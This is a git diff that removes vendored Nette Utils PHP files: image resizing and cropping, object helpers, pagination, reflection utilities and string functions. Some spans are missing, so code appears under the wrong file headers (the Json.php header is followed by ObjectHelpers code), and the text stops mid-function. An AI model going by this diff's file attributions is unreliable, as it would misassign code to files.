@param resource|\GdImage $image - * @return static - */ - protected function setImageResource($image) - { - if (!$image instanceof \GdImage && !(is_resource($image) && get_resource_type($image) === 'gd')) { - throw new Nette\InvalidArgumentException('Image is not valid.'); - } - $this->image = $image; - return $this; - } - - - /** - * Returns image GD resource. - * @return resource|\GdImage - */ - public function getImageResource() - { - return $this->image; - } - - - /** - * Scales an image. - * @param int|string|null $width in pixels or percent - * @param int|string|null $height in pixels or percent - * @return static - */ - public function resize($width, $height, int $flags = self::FIT) - { - if ($flags & self::EXACT) { - return $this->resize($width, $height, self::FILL)->crop('50%', '50%', $width, $height); - } - - [$newWidth, $newHeight] = static::calculateSize($this->getWidth(), $this->getHeight(), $width, $height, $flags); - - if ($newWidth !== $this->getWidth() || $newHeight !== $this->getHeight()) { // resize - $newImage = static::fromBlank($newWidth, $newHeight, self::rgb(0, 0, 0, 127))->getImageResource(); - imagecopyresampled( - $newImage, $this->image, - 0, 0, 0, 0, - $newWidth, $newHeight, $this->getWidth(), $this->getHeight() - ); - $this->image = $newImage; - } - - if ($width < 0 || $height < 0) { - imageflip($this->image, $width < 0 ? ($height < 0 ? IMG_FLIP_BOTH : IMG_FLIP_HORIZONTAL) : IMG_FLIP_VERTICAL); - } - return $this; - } - - - /** - * Calculates dimensions of resized image. - * @param int|string|null $newWidth in pixels or percent - * @param int|string|null $newHeight in pixels or percent - */ - public static function calculateSize(int $srcWidth, int $srcHeight, $newWidth, $newHeight, int $flags = self::FIT): array - { - if ($newWidth === null) { - } elseif (self::isPercent($newWidth)) { - $newWidth = (int) round($srcWidth / 100 * abs($newWidth)); - $percents = true; - } else { - $newWidth = abs($newWidth); - } - - if ($newHeight === null) { - } elseif (self::isPercent($newHeight)) { - $newHeight = (int) round($srcHeight / 100 * abs($newHeight)); - $flags |= empty($percents) ? 0 : self::STRETCH; - } else { - $newHeight = abs($newHeight); - } - - if ($flags & self::STRETCH) { // non-proportional - if (!$newWidth || !$newHeight) { - throw new Nette\InvalidArgumentException('For stretching must be both width and height specified.'); - } - - if ($flags & self::SHRINK_ONLY) { - $newWidth = (int) round($srcWidth * min(1, $newWidth / $srcWidth)); - $newHeight = (int) round($srcHeight * min(1, $newHeight / $srcHeight)); - } - - } else { // proportional - if (!$newWidth && !$newHeight) { - throw new Nette\InvalidArgumentException('At least width or height must be specified.'); - } - - $scale = []; - if ($newWidth > 0) { // fit width - $scale[] = $newWidth / $srcWidth; - } - - if ($newHeight > 0) { // fit height - $scale[] = $newHeight / $srcHeight; - } - - if ($flags & self::FILL) { - $scale = [max($scale)]; - } - - if ($flags & self::SHRINK_ONLY) { - $scale[] = 1; - } - - $scale = min($scale); - $newWidth = (int) round($srcWidth * $scale); - $newHeight = (int) round($srcHeight * $scale); - } - - return [max($newWidth, 1), max($newHeight, 1)]; - } - - - /** - * Crops image. - * @param int|string $left in pixels or percent - * @param int|string $top in pixels or percent - * @param int|string $width in pixels or percent - * @param int|string $height in pixels or percent - * @return static - */ - public function crop($left, $top, $width, $height) - { - [$r['x'], $r['y'], $r['width'], $r['height']] - = static::calculateCutout($this->getWidth(), $this->getHeight(), $left, $top, $width, $height); - if (gd_info()['GD Version'] === 'bundled (2.1.0 compatible)') { - $this->image = imagecrop($this->image, $r); - imagesavealpha($this->image, true); - } else { - $newImage = static::fromBlank($r['width'], $r['height'], self::RGB(0, 0, 0, 127))->getImageResource(); - imagecopy($newImage, $this->image, 0, 0, $r['x'], $r['y'], $r['width'], $r['height']); - $this->image = $newImage; - } - return $this; - } - - - /** - * Calculates dimensions of cutout in image. - * @param int|string $left in pixels or percent - * @param int|string $top in pixels or percent - * @param int|string $newWidth in pixels or percent - * @param int|string $newHeight in pixels or percent - */ - public static function calculateCutout(int $srcWidth, int $srcHeight, $left, $top, $newWidth, $newHeight): array - { - if (self::isPercent($newWidth)) { - $newWidth = (int) round($srcWidth / 100 * $newWidth); - } - if (self::isPercent($newHeight)) { - $newHeight = (int) round($srcHeight / 100 * $newHeight); - } - if (self::isPercent($left)) { - $left = (int) round(($srcWidth - $newWidth) / 100 * $left); - } - if (self::isPercent($top)) { - $top = (int) round(($srcHeight - $newHeight) / 100 * $top); - } - if ($left < 0) { - $newWidth += $left; - $left = 0; - } - if ($top < 0) { - $newHeight += $top; - $top = 0; - } - $newWidth = min($newWidth, $srcWidth - $left); - $newHeight = min($newHeight, $srcHeight - $top); - return [$left, $top, $newWidth, $newHeight]; - } - - - /** - * Sharpens image a little bit. - * @return static - */ - public function sharpen() - { - imageconvolution($this->image, [ // my magic numbers ;) - [-1, -1, -1], - [-1, 24, -1], - [-1, -1, -1], - ], 16, 0); - return $this; - } - - - /** - * Puts another image into this image. - * @param int|string $left in pixels or percent - * @param int|string $top in pixels or percent - * @param int $opacity 0..100 - * @return static - */ - public function place(self $image, $left = 0, $top = 0, int $opacity = 100) - { - $opacity = max(0, min(100, $opacity)); - if ($opacity === 0) { - return $this; - } - - $width = $image->getWidth(); - $height = $image->getHeight(); - - if (self::isPercent($left)) { - $left = (int) round(($this->getWidth() - $width) / 100 * $left); - } - - if (self::isPercent($top)) { - $top = (int) round(($this->getHeight() - $height) / 100 * $top); - } - - $output = $input = $image->image; - if ($opacity < 100) { - $tbl = []; - for ($i = 0; $i < 128; $i++) { - $tbl[$i] = round(127 - (127 - $i) * $opacity / 100); - } - - $output = imagecreatetruecolor($width, $height); - imagealphablending($output, false); - if (!$image->isTrueColor()) { - $input = $output; - imagefilledrectangle($output, 0, 0, $width, $height, imagecolorallocatealpha($output, 0, 0, 0, 127)); - imagecopy($output, $image->image, 0, 0, 0, 0, $width, $height); - } - for ($x = 0; $x < $width; $x++) { - for ($y = 0; $y < $height; $y++) { - $c = \imagecolorat($input, $x, $y); - $c = ($c & 0xFFFFFF) + ($tbl[$c >> 24] << 24); - \imagesetpixel($output, $x, $y, $c); - } - } - imagealphablending($output, true); - } - - imagecopy( - $this->image, $output, - $left, $top, 0, 0, $width, $height - ); - return $this; - } - - - /** - * Saves image to the file. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). - * @throws ImageException - */ - public function save(string $file, int $quality = null, int $type = null): void - { - if ($type === null) { - $extensions = array_flip(self::FORMATS) + ['jpg' => self::JPEG]; - $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); - if (!isset($extensions[$ext])) { - throw new Nette\InvalidArgumentException("Unsupported file extension '$ext'."); - } - $type = $extensions[$ext]; - } - - $this->output($type, $quality, $file); - } - - - /** - * Outputs image to string. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). - */ - public function toString(int $type = self::JPEG, int $quality = null): string - { - return Helpers::capture(function () use ($type, $quality) { - $this->output($type, $quality); - }); - } - - - /** - * Outputs image to string. - */ - public function __toString(): string - { - try { - return $this->toString(); - } catch (\Throwable $e) { - if (func_num_args() || PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } - - - /** - * Outputs image to browser. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). - * @throws ImageException - */ - public function send(int $type = self::JPEG, int $quality = null): void - { - header('Content-Type: ' . self::typeToMimeType($type)); - $this->output($type, $quality); - } - - - /** - * Outputs image to browser or file. - * @throws ImageException - */ - private function output(int $type, ?int $quality, string $file = null): void - { - switch ($type) { - case self::JPEG: - $quality = $quality === null ? 85 : max(0, min(100, $quality)); - $success = @imagejpeg($this->image, $file, $quality); // @ is escalated to exception - break; - - case self::PNG: - $quality = $quality === null ? 9 : max(0, min(9, $quality)); - $success = @imagepng($this->image, $file, $quality); // @ is escalated to exception - break; - - case self::GIF: - $success = @imagegif($this->image, $file); // @ is escalated to exception - break; - - case self::WEBP: - $quality = $quality === null ? 80 : max(0, min(100, $quality)); - $success = @imagewebp($this->image, $file, $quality); // @ is escalated to exception - break; - - case self::BMP: - $success = @imagebmp($this->image, $file); // @ is escalated to exception - break; - - default: - throw new Nette\InvalidArgumentException("Unsupported image type '$type'."); - } - if (!$success) { - throw new ImageException(Helpers::getLastError() ?: 'Unknown error'); - } - } - - - /** - * Call to undefined method. - * @return mixed - * @throws Nette\MemberAccessException - */ - public function __call(string $name, array $args) - { - $function = 'image' . $name; - if (!function_exists($function)) { - ObjectHelpers::strictCall(get_class($this), $name); - } - - foreach ($args as $key => $value) { - if ($value instanceof self) { - $args[$key] = $value->getImageResource(); - - } elseif (is_array($value) && isset($value['red'])) { // rgb - $args[$key] = imagecolorallocatealpha( - $this->image, - $value['red'], $value['green'], $value['blue'], $value['alpha'] - ) ?: imagecolorresolvealpha( - $this->image, - $value['red'], $value['green'], $value['blue'], $value['alpha'] - ); - } - } - $res = $function($this->image, ...$args); - return $res instanceof \GdImage || (is_resource($res) && get_resource_type($res) === 'gd') ? $this->setImageResource($res) : $res; - } - - - public function __clone() - { - ob_start(function () {}); - imagegd2($this->image); - $this->setImageResource(imagecreatefromstring(ob_get_clean())); - } - - - /** - * @param int|string $num in pixels or percent - */ - private static function isPercent(&$num): bool - { - if (is_string($num) && substr($num, -1) === '%') { - $num = (float) substr($num, 0, -1); - return true; - } elseif (is_int($num) || $num === (string) (int) $num) { - $num = (int) $num; - return false; - } - throw new Nette\InvalidArgumentException("Expected dimension in int|string, '$num' given."); - } - - - /** - * Prevents serialization. - */ - public function __sleep(): array - { - throw new Nette\NotSupportedException('You cannot serialize or unserialize ' . self::class . ' instances.'); - } -} diff --git a/vendor/nette/utils/src/Utils/Json.php b/vendor/nette/utils/src/Utils/Json.php deleted file mode 100644 index 782c1ff..0000000 --- a/vendor/nette/utils/src/Utils/Json.php +++ /dev/null @@ -1,64 +0,0 @@ -getProperties(\ReflectionProperty::IS_PUBLIC), function ($p) { return !$p->isStatic(); }), - self::parseFullDoc($rc, '~^[ \t*]*@property(?:-read)?[ \t]+(?:\S+[ \t]+)??\$(\w+)~m') - ), $name); - throw new MemberAccessException("Cannot read an undeclared property $class::\$$name" . ($hint ? ", did you mean \$$hint?" : '.')); - } - - - /** @throws MemberAccessException */ - public static function strictSet(string $class, string $name): void - { - $rc = new \ReflectionClass($class); - $hint = self::getSuggestion(array_merge( - array_filter($rc->getProperties(\ReflectionProperty::IS_PUBLIC), function ($p) { return !$p->isStatic(); }), - self::parseFullDoc($rc, '~^[ \t*]*@property(?:-write)?[ \t]+(?:\S+[ \t]+)??\$(\w+)~m') - ), $name); - throw new MemberAccessException("Cannot write to an undeclared property $class::\$$name" . ($hint ? ", did you mean \$$hint?" : '.')); - } - - - /** @throws MemberAccessException */ - public static function strictCall(string $class, string $method, array $additionalMethods = []): void - { - $hint = self::getSuggestion(array_merge( - get_class_methods($class), - self::parseFullDoc(new \ReflectionClass($class), '~^[ \t*]*@method[ \t]+(?:\S+[ \t]+)??(\w+)\(~m'), - $additionalMethods - ), $method); - - if (method_exists($class, $method)) { // called parent::$method() - $class = 'parent'; - } - throw new MemberAccessException("Call to undefined method $class::$method()" . ($hint ? ", did you mean $hint()?" : '.')); - } - - - /** @throws MemberAccessException */ - public static function strictStaticCall(string $class, string $method): void - { - $hint = self::getSuggestion( - array_filter((new \ReflectionClass($class))->getMethods(\ReflectionMethod::IS_PUBLIC), function ($m) { return $m->isStatic(); }), - $method - ); - throw new MemberAccessException("Call to undefined static method $class::$method()" . ($hint ? ", did you mean $hint()?" : '.')); - } - - - /** - * Returns array of magic properties defined by annotation @property. - * @return array of [name => bit mask] - * @internal - */ - public static function getMagicProperties(string $class): array - { - static $cache; - $props = &$cache[$class]; - if ($props !== null) { - return $props; - } - - $rc = new \ReflectionClass($class); - preg_match_all( - '~^ [ \t*]* @property(|-read|-write) [ \t]+ [^\s$]+ [ \t]+ \$ (\w+) ()~mx', - (string) $rc->getDocComment(), $matches, PREG_SET_ORDER - ); - - $props = []; - foreach ($matches as [, $type, $name]) { - $uname = ucfirst($name); - $write = $type !== '-read' - && $rc->hasMethod($nm = 'set' . $uname) - && ($rm = $rc->getMethod($nm))->name === $nm && !$rm->isPrivate() && !$rm->isStatic(); - $read = $type !== '-write' - && ($rc->hasMethod($nm = 'get' . $uname) || $rc->hasMethod($nm = 'is' . $uname)) - && ($rm = $rc->getMethod($nm))->name === $nm && !$rm->isPrivate() && !$rm->isStatic(); - - if ($read || $write) { - $props[$name] = $read << 0 | ($nm[0] === 'g') << 1 | $rm->returnsReference() << 2 | $write << 3; - } - } - - foreach ($rc->getTraits() as $trait) { - $props += self::getMagicProperties($trait->name); - } - - if ($parent = get_parent_class($class)) { - $props += self::getMagicProperties($parent); - } - return $props; - } - - - /** - * Finds the best suggestion (for 8-bit encoding). - * @param (\ReflectionFunctionAbstract|\ReflectionParameter|\ReflectionClass|\ReflectionProperty|string)[] $possibilities - * @internal - */ - public static function getSuggestion(array $possibilities, string $value): ?string - { - $norm = preg_replace($re = '#^(get|set|has|is|add)(?=[A-Z])#', '+', $value); - $best = null; - $min = (strlen($value) / 4 + 1) * 10 + .1; - foreach (array_unique($possibilities, SORT_REGULAR) as $item) { - $item = $item instanceof \Reflector ? $item->name : $item; - if ($item !== $value && ( - ($len = levenshtein($item, $value, 10, 11, 10)) < $min - || ($len = levenshtein(preg_replace($re, '*', $item), $norm, 10, 11, 10)) < $min - )) { - $min = $len; - $best = $item; - } - } - return $best; - } - - - private static function parseFullDoc(\ReflectionClass $rc, string $pattern): array - { - do { - $doc[] = $rc->getDocComment(); - $traits = $rc->getTraits(); - while ($trait = array_pop($traits)) { - $doc[] = $trait->getDocComment(); - $traits += $trait->getTraits(); - } - } while ($rc = $rc->getParentClass()); - return preg_match_all($pattern, implode($doc), $m) ? $m[1] : []; - } - - - /** - * Checks if the public non-static property exists. - * @return bool|string returns 'event' if the property exists and has event like name - * @internal - */ - public static function hasProperty(string $class, string $name) - { - static $cache; - $prop = &$cache[$class][$name]; - if ($prop === null) { - $prop = false; - try { - $rp = new \ReflectionProperty($class, $name); - if ($rp->isPublic() && !$rp->isStatic()) { - $prop = $name >= 'onA' && $name < 'on_' ? 'event' : true; - } - } catch (\ReflectionException $e) { - } - } - return $prop; - } -} diff --git a/vendor/nette/utils/src/Utils/ObjectMixin.php b/vendor/nette/utils/src/Utils/ObjectMixin.php deleted file mode 100644 index 3324950..0000000 --- a/vendor/nette/utils/src/Utils/ObjectMixin.php +++ /dev/null @@ -1,41 +0,0 @@ -page = $page; - return $this; - } - - - /** - * Returns current page number. - */ - public function getPage(): int - { - return $this->base + $this->getPageIndex(); - } - - - /** - * Returns first page number. - */ - public function getFirstPage(): int - { - return $this->base; - } - - - /** - * Returns last page number. - */ - public function getLastPage(): ?int - { - return $this->itemCount === null ? null : $this->base + max(0, $this->getPageCount() - 1); - } - - - /** - * Sets first page (base) number. - * @return static - */ - public function setBase(int $base) - { - $this->base = $base; - return $this; - } - - - /** - * Returns first page (base) number. - */ - public function getBase(): int - { - return $this->base; - } - - - /** - * Returns zero-based page number. - */ - protected function getPageIndex(): int - { - $index = max(0, $this->page - $this->base); - return $this->itemCount === null ? $index : min($index, max(0, $this->getPageCount() - 1)); - } - - - /** - * Is the current page the first one? - */ - public function isFirst(): bool - { - return $this->getPageIndex() === 0; - } - - - /** - * Is the current page the last one? - */ - public function isLast(): bool - { - return $this->itemCount === null ? false : $this->getPageIndex() >= $this->getPageCount() - 1; - } - - - /** - * Returns the total number of pages. - */ - public function getPageCount(): ?int - { - return $this->itemCount === null ? null : (int) ceil($this->itemCount / $this->itemsPerPage); - } - - - /** - * Sets the number of items to display on a single page. - * @return static - */ - public function setItemsPerPage(int $itemsPerPage) - { - $this->itemsPerPage = max(1, $itemsPerPage); - return $this; - } - - - /** - * Returns the number of items to display on a single page. - */ - public function getItemsPerPage(): int - { - return $this->itemsPerPage; - } - - - /** - * Sets the total number of items. - * @return static - */ - public function setItemCount(int $itemCount = null) - { - $this->itemCount = $itemCount === null ? null : max(0, $itemCount); - return $this; - } - - - /** - * Returns the total number of items. - */ - public function getItemCount(): ?int - { - return $this->itemCount; - } - - - /** - * Returns the absolute index of the first item on current page. - */ - public function getOffset(): int - { - return $this->getPageIndex() * $this->itemsPerPage; - } - - - /** - * Returns the absolute index of the first item on current page in countdown paging. - */ - public function getCountdownOffset(): ?int - { - return $this->itemCount === null - ? null - : max(0, $this->itemCount - ($this->getPageIndex() + 1) * $this->itemsPerPage); - } - - - /** - * Returns the number of items on current page. - */ - public function getLength(): int - { - return $this->itemCount === null - ? $this->itemsPerPage - : min($this->itemsPerPage, $this->itemCount - $this->getPageIndex() * $this->itemsPerPage); - } -} diff --git a/vendor/nette/utils/src/Utils/Random.php b/vendor/nette/utils/src/Utils/Random.php deleted file mode 100644 index 2403b4d..0000000 --- a/vendor/nette/utils/src/Utils/Random.php +++ /dev/null @@ -1,45 +0,0 @@ - 1, 'int' => 1, 'float' => 1, 'bool' => 1, 'array' => 1, 'object' => 1, - 'callable' => 1, 'iterable' => 1, 'void' => 1, 'null' => 1, 'mixed' => 1, 'false' => 1, - ]; - - - /** - * Determines if type is PHP built-in type. Otherwise, it is the class name. - */ - public static function isBuiltinType(string $type): bool - { - return isset(self::BUILTIN_TYPES[strtolower($type)]); - } - - - /** - * Returns the type of return value of given function or method and normalizes `self`, `static`, and `parent` to actual class names. - * If the function does not have a return type, it returns null. - */ - public static function getReturnType(\ReflectionFunctionAbstract $func): ?string - { - $type = $func->getReturnType(); - return $type instanceof \ReflectionNamedType - ? ($func instanceof \ReflectionMethod ? self::normalizeType($type->getName(), $func) : $type->getName()) - : null; - } - - - /** - * Returns the type of given parameter and normalizes `self` and `parent` to the actual class names. - * If the parameter does not have a type, it returns null. - */ - public static function getParameterType(\ReflectionParameter $param): ?string - { - $type = $param->getType(); - return $type instanceof \ReflectionNamedType - ? self::normalizeType($type->getName(), $param) - : null; - } - - - /** - * Returns the type of given property and normalizes `self` and `parent` to the actual class names. - * If the property does not have a type, it returns null. - */ - public static function getPropertyType(\ReflectionProperty $prop): ?string - { - $type = PHP_VERSION_ID >= 70400 ? $prop->getType() : null; - return $type instanceof \ReflectionNamedType - ? self::normalizeType($type->getName(), $prop) - : null; - } - - - /** - * @param \ReflectionMethod|\ReflectionParameter|\ReflectionProperty $reflection - */ - private static function normalizeType(string $type, $reflection): string - { - $lower = strtolower($type); - if ($lower === 'self' || $lower === 'static') { - return $reflection->getDeclaringClass()->name; - } elseif ($lower === 'parent' && $reflection->getDeclaringClass()->getParentClass()) { - return $reflection->getDeclaringClass()->getParentClass()->name; - } else { - return $type; - } - } - - - /** - * Returns the default value of parameter. If it is a constant, it returns its value. - * @return mixed - * @throws \ReflectionException If the parameter does not have a default value or the constant cannot be resolved - */ - public static function getParameterDefaultValue(\ReflectionParameter $param) - { - if ($param->isDefaultValueConstant()) { - $const = $orig = $param->getDefaultValueConstantName(); - $pair = explode('::', $const); - if (isset($pair[1])) { - $pair[0] = self::normalizeType($pair[0], $param); - try { - $rcc = new \ReflectionClassConstant($pair[0], $pair[1]); - } catch (\ReflectionException $e) { - $name = self::toString($param); - throw new \ReflectionException("Unable to resolve constant $orig used as default value of $name.", 0, $e); - } - return $rcc->getValue(); - - } elseif (!defined($const)) { - $const = substr((string) strrchr($const, '\\'), 1); - if (!defined($const)) { - $name = self::toString($param); - throw new \ReflectionException("Unable to resolve constant $orig used as default value of $name."); - } - } - return constant($const); - } - return $param->getDefaultValue(); - } - - - /** - * Returns a reflection of a class or trait that contains a declaration of given property. Property can also be declared in the trait. - */ - public static function getPropertyDeclaringClass(\ReflectionProperty $prop): \ReflectionClass - { - foreach ($prop->getDeclaringClass()->getTraits() as $trait) { - if ($trait->hasProperty($prop->name) - // doc-comment guessing as workaround for insufficient PHP reflection - && $trait->getProperty($prop->name)->getDocComment() === $prop->getDocComment() - ) { - return self::getPropertyDeclaringClass($trait->getProperty($prop->name)); - } - } - return $prop->getDeclaringClass(); - } - - - /** - * Returns a reflection of a method that contains a declaration of $method. - * Usually, each method is its own declaration, but the body of the method can also be in the trait and under a different name. - */ - public static function getMethodDeclaringMethod(\ReflectionMethod $method): \ReflectionMethod - { - // file & line guessing as workaround for insufficient PHP reflection - $decl = $method->getDeclaringClass(); - if ($decl->getFileName() === $method->getFileName() - && $decl->getStartLine() <= $method->getStartLine() - && $decl->getEndLine() >= $method->getEndLine() - ) { - return $method; - } - - $hash = [$method->getFileName(), $method->getStartLine(), $method->getEndLine()]; - if (($alias = $decl->getTraitAliases()[$method->name] ?? null) - && ($m = new \ReflectionMethod($alias)) - && $hash === [$m->getFileName(), $m->getStartLine(), $m->getEndLine()] - ) { - return self::getMethodDeclaringMethod($m); - } - - foreach ($decl->getTraits() as $trait) { - if ($trait->hasMethod($method->name) - && ($m = $trait->getMethod($method->name)) - && $hash === [$m->getFileName(), $m->getStartLine(), $m->getEndLine()] - ) { - return self::getMethodDeclaringMethod($m); - } - } - return $method; - } - - - /** - * Finds out if reflection has access to PHPdoc comments. Comments may not be available due to the opcode cache. - */ - public static function areCommentsAvailable(): bool - { - static $res; - return $res === null - ? $res = (bool) (new \ReflectionMethod(__METHOD__))->getDocComment() - : $res; - } - - - public static function toString(\Reflector $ref): string - { - if ($ref instanceof \ReflectionClass) { - return $ref->name; - } elseif ($ref instanceof \ReflectionMethod) { - return $ref->getDeclaringClass()->name . '::' . $ref->name; - } elseif ($ref instanceof \ReflectionFunction) { - return $ref->name; - } elseif ($ref instanceof \ReflectionProperty) { - return self::getPropertyDeclaringClass($ref)->name . '::$' . $ref->name; - } elseif ($ref instanceof \ReflectionParameter) { - return '$' . $ref->name . ' in ' . self::toString($ref->getDeclaringFunction()) . '()'; - } else { - throw new Nette\InvalidArgumentException; - } - } - - - /** - * Expands the name of the class to full name in the given context of given class. - * Thus, it returns how the PHP parser would understand $name if it were written in the body of the class $context. - * @throws Nette\InvalidArgumentException - */ - public static function expandClassName(string $name, \ReflectionClass $context): string - { - $lower = strtolower($name); - if (empty($name)) { - throw new Nette\InvalidArgumentException('Class name must not be empty.'); - - } elseif (isset(self::BUILTIN_TYPES[$lower])) { - return $lower; - - } elseif ($lower === 'self' || $lower === 'static') { - return $context->name; - - } elseif ($name[0] === '\\') { // fully qualified name - return ltrim($name, '\\'); - } - - $uses = self::getUseStatements($context); - $parts = explode('\\', $name, 2); - if (isset($uses[$parts[0]])) { - $parts[0] = $uses[$parts[0]]; - return implode('\\', $parts); - - } elseif ($context->inNamespace()) { - return $context->getNamespaceName() . '\\' . $name; - - } else { - return $name; - } - } - - - /** @return array of [alias => class] */ - public static function getUseStatements(\ReflectionClass $class): array - { - if ($class->isAnonymous()) { - throw new Nette\NotImplementedException('Anonymous classes are not supported.'); - } - static $cache = []; - if (!isset($cache[$name = $class->name])) { - if ($class->isInternal()) { - $cache[$name] = []; - } else { - $code = file_get_contents($class->getFileName()); - $cache = self::parseUseStatements($code, $name) + $cache; - } - } - return $cache[$name]; - } - - - /** - * Parses PHP code to [class => [alias => class, ...]] - */ - private static function parseUseStatements(string $code, string $forClass = null): array - { - try { - $tokens = token_get_all($code, TOKEN_PARSE); - } catch (\ParseError $e) { - trigger_error($e->getMessage(), E_USER_NOTICE); - $tokens = []; - } - $namespace = $class = $classLevel = $level = null; - $res = $uses = []; - - $nameTokens = PHP_VERSION_ID < 80000 - ? [T_STRING, T_NS_SEPARATOR] - : [T_STRING, T_NS_SEPARATOR, T_NAME_QUALIFIED, T_NAME_FULLY_QUALIFIED]; - - while ($token = current($tokens)) { - next($tokens); - switch (is_array($token) ? $token[0] : $token) { - case T_NAMESPACE: - $namespace = ltrim(self::fetch($tokens, $nameTokens) . '\\', '\\'); - $uses = []; - break; - - case T_CLASS: - case T_INTERFACE: - case T_TRAIT: - if ($name = self::fetch($tokens, T_STRING)) { - $class = $namespace . $name; - $classLevel = $level + 1; - $res[$class] = $uses; - if ($class === $forClass) { - return $res; - } - } - break; - - case T_USE: - while (!$class && ($name = self::fetch($tokens, $nameTokens))) { - $name = ltrim($name, '\\'); - if (self::fetch($tokens, '{')) { - while ($suffix = self::fetch($tokens, $nameTokens)) { - if (self::fetch($tokens, T_AS)) { - $uses[self::fetch($tokens, T_STRING)] = $name . $suffix; - } else { - $tmp = explode('\\', $suffix); - $uses[end($tmp)] = $name . $suffix; - } - if (!self::fetch($tokens, ',')) { - break; - } - } - - } elseif (self::fetch($tokens, T_AS)) { - $uses[self::fetch($tokens, T_STRING)] = $name; - - } else { - $tmp = explode('\\', $name); - $uses[end($tmp)] = $name; - } - if (!self::fetch($tokens, ',')) { - break; - } - } - break; - - case T_CURLY_OPEN: - case T_DOLLAR_OPEN_CURLY_BRACES: - case '{': - $level++; - break; - - case '}': - if ($level === $classLevel) { - $class = $classLevel = null; - } - $level--; - } - } - - return $res; - } - - - private static function fetch(array &$tokens, $take): ?string - { - $res = null; - while ($token = current($tokens)) { - [$token, $s] = is_array($token) ? $token : [$token, $token]; - if (in_array($token, (array) $take, true)) { - $res .= $s; - } elseif (!in_array($token, [T_DOC_COMMENT, T_WHITESPACE, T_COMMENT], true)) { - break; - } - next($tokens); - } - return $res; - } -} diff --git a/vendor/nette/utils/src/Utils/SmartObject.php b/vendor/nette/utils/src/Utils/SmartObject.php deleted file mode 100644 index 52e9946..0000000 --- a/vendor/nette/utils/src/Utils/SmartObject.php +++ /dev/null @@ -1,122 +0,0 @@ -$name ?? null; - if (is_iterable($handlers)) { - foreach ($handlers as $handler) { - $handler(...$args); - } - } elseif ($handlers !== null) { - throw new UnexpectedValueException("Property $class::$$name must be iterable or null, " . gettype($handlers) . ' given.'); - } - - } else { - ObjectHelpers::strictCall($class, $name); - } - } - - - /** - * @throws MemberAccessException - */ - public static function __callStatic(string $name, array $args) - { - ObjectHelpers::strictStaticCall(static::class, $name); - } - - - /** - * @return mixed - * @throws MemberAccessException if the property is not defined. - */ - public function &__get(string $name) - { - $class = get_class($this); - - if ($prop = ObjectHelpers::getMagicProperties($class)[$name] ?? null) { // property getter - if (!($prop & 0b0001)) { - throw new MemberAccessException("Cannot read a write-only property $class::\$$name."); - } - $m = ($prop & 0b0010 ? 'get' : 'is') . $name; - if ($prop & 0b0100) { // return by reference - return $this->$m(); - } else { - $val = $this->$m(); - return $val; - } - } else { - ObjectHelpers::strictGet($class, $name); - } - } - - - /** - * @param mixed $value - * @return void - * @throws MemberAccessException if the property is not defined or is read-only - */ - public function __set(string $name, $value) - { - $class = get_class($this); - - if (ObjectHelpers::hasProperty($class, $name)) { // unsetted property - $this->$name = $value; - - } elseif ($prop = ObjectHelpers::getMagicProperties($class)[$name] ?? null) { // property setter - if (!($prop & 0b1000)) { - throw new MemberAccessException("Cannot write to a read-only property $class::\$$name."); - } - $this->{'set' . $name}($value); - - } else { - ObjectHelpers::strictSet($class, $name); - } - } - - - /** - * @return void - * @throws MemberAccessException - */ - public function __unset(string $name) - { - $class = get_class($this); - if (!ObjectHelpers::hasProperty($class, $name)) { - throw new MemberAccessException("Cannot unset the property $class::\$$name."); - } - } - - - public function __isset(string $name): bool - { - return isset(ObjectHelpers::getMagicProperties(get_class($this))[$name]); - } -} diff --git a/vendor/nette/utils/src/Utils/StaticClass.php b/vendor/nette/utils/src/Utils/StaticClass.php deleted file mode 100644 index d877933..0000000 --- a/vendor/nette/utils/src/Utils/StaticClass.php +++ /dev/null @@ -1,34 +0,0 @@ -= 0xD800 && $code <= 0xDFFF) || $code > 0x10FFFF) { - throw new Nette\InvalidArgumentException('Code point must be in range 0x0 to 0xD7FF or 0xE000 to 0x10FFFF.'); - } elseif (!extension_loaded('iconv')) { - throw new Nette\NotSupportedException(__METHOD__ . '() requires ICONV extension that is not loaded.'); - } - return iconv('UTF-32BE', 'UTF-8//IGNORE', pack('N', $code)); - } - - - /** - * Starts the $haystack string with the prefix $needle? - */ - public static function startsWith(string $haystack, string $needle): bool - { - return strncmp($haystack, $needle, strlen($needle)) === 0; - } - - - /** - * Ends the $haystack string with the suffix $needle? - */ - public static function endsWith(string $haystack, string $needle): bool - { - return $needle === '' || substr($haystack, -strlen($needle)) === $needle; - } - - - /** - * Does $haystack contain $needle? - */ - public static function contains(string $haystack, string $needle): bool - { - return strpos($haystack, $needle) !== false; - } - - - /** - * Returns a part of UTF-8 string specified by starting position and length. If start is negative, - * the returned string will start at the start'th character from the end of string. - */ - public static function substring(string $s, int $start, int $length = null): string - { - if (function_exists('mb_substr')) { - return mb_substr($s, $start, $length, 'UTF-8'); // MB is much faster - } elseif (!extension_loaded('iconv')) { - throw new Nette\NotSupportedException(__METHOD__ . '() requires extension ICONV or MBSTRING, neither is loaded.'); - } elseif ($length === null) { - $length = self::length($s); - } elseif ($start < 0 && $length < 0) { - $start += self::length($s); // unifies iconv_substr behavior with mb_substr - } - return iconv_substr($s, $start, $length, 'UTF-8'); - } - - - /** - * Removes control characters, normalizes line breaks to `\n`, removes leading and trailing blank lines, - * trims end spaces on lines, normalizes UTF-8 to the normal form of NFC. - */ - public static function normalize(string $s): string - { - // convert to compressed normal form (NFC) - if (class_exists('Normalizer', false) && ($n = \Normalizer::normalize($s, \Normalizer::FORM_C)) !== false) { - $s = $n; - } - - $s = self::normalizeNewLines($s); - - // remove control characters; leave \t + \n - $s = self::pcre('preg_replace', ['#[\x00-\x08\x0B-\x1F\x7F-\x9F]+#u', '', $s]); - - // right trim - $s = self::pcre('preg_replace', ['#[\t ]+$#m', '', $s]); - - // leading and trailing blank lines - $s = trim($s, "\n"); - - return $s; - } - - - /** - * Standardize line endings to unix-like. - */ - public static function normalizeNewLines(string $s): string - { - return str_replace(["\r\n", "\r"], "\n", $s); - } - - - /** - * Converts UTF-8 string to ASCII, ie removes diacritics etc. - */ - public static function toAscii(string $s): string - { - $iconv 